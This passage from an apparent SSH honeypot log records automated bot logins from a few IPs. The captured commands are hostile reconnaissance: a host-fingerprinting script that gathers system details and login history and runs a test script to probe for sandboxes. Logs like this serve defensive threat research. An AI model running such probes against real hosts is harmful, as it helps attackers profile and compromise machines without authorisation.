  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:31:23.522433+00:00",
  "ended_at": "2026-08-27T10:31:23.635217+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "04e5efca-2380-44fb-b0fc-9aa18d8a3bc1",
  "name": "plucky-candid-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 33418,
  "username": "firedancer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:31:18.054524+00:00",
  "ended_at": "2026-08-27T10:31:18.159504+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "c65af88e-9f96-4a3c-b45c-7accbfd53d55",
  "name": "bashful-jolly-sable",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 58732,
  "username": "apache",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:29:15.794558+00:00",
  "ended_at": "2026-08-27T10:29:15.928682+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8c8f2acd-754c-42b1-93ea-a921e172bde2",
  "name": "brisk-dewy-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 63112,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:28:56.808587+00:00",
  "ended_at": "2026-08-27T10:29:06.498526+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "eda748a6-39d2-4a97-a81b-df460301917b",
  "name": "lunar-restless-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 59850,
  "username": "ethd",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 201,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:28:48.565220+00:00",
  "ended_at": "2026-08-27T10:28:48.665671+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "77e5276a-9f0c-4686-b23b-db4886e21a45",
  "name": "jolly-diligent-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 55722,
  "username": "apache",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:27:33.252728+00:00",
  "ended_at": "2026-08-27T10:27:33.361373+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8e0f7e1c-b03b-41e7-b286-49ec7315dfa3",
  "name": "valiant-buoyant-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 60474,
  "username": "ethdocker",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:26:20.974810+00:00",
  "ended_at": "2026-08-27T10:26:21.077823+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 736
 },
 {
  "id": "aa6d046f-fcb4-4c04-ba45-bb087a28081b",
  "name": "gentle-bronzed-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 52692,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:25:53.654004+00:00",
  "ended_at": "2026-08-27T10:25:53.807818+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "2a33ffa6-8648-42fa-850d-9742cafbabb5",
  "name": "hushed-grassy-lark",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 49602,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:25:32.228488+00:00",
  "ended_at": "2026-08-27T10:25:34.843342+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "389b2a4a-374e-4bbd-9c36-76174ad7e561",
  "name": "steady-regal-quokka",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 49187,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T10:25:15.189341+00:00",
  "ended_at": "2026-08-27T10:25:16.361121+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8bb18579-bad0-4905-8c72-2929c7b3c502",
  "name": "watchful-painted-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 49674,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-27T10:24:12.326559+00:00",
  "ended_at": "2026-08-27T10:24:12.432143+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "b71129f2-0c9f-4da0-8d09-8090821d008c",
  "name": "ivory-hushed-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 40280,
  "username": "eth-docker",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 196,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T10:23:49.577707+00:00",
  "ended_at": "2026-08-27T10:23:49.677713+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "6369c46b-b95b-4764-83c7-83b4b1c8e40a",
  "name": "leafy-noble-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "80.94.92.234",
  "src_port": 46650,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 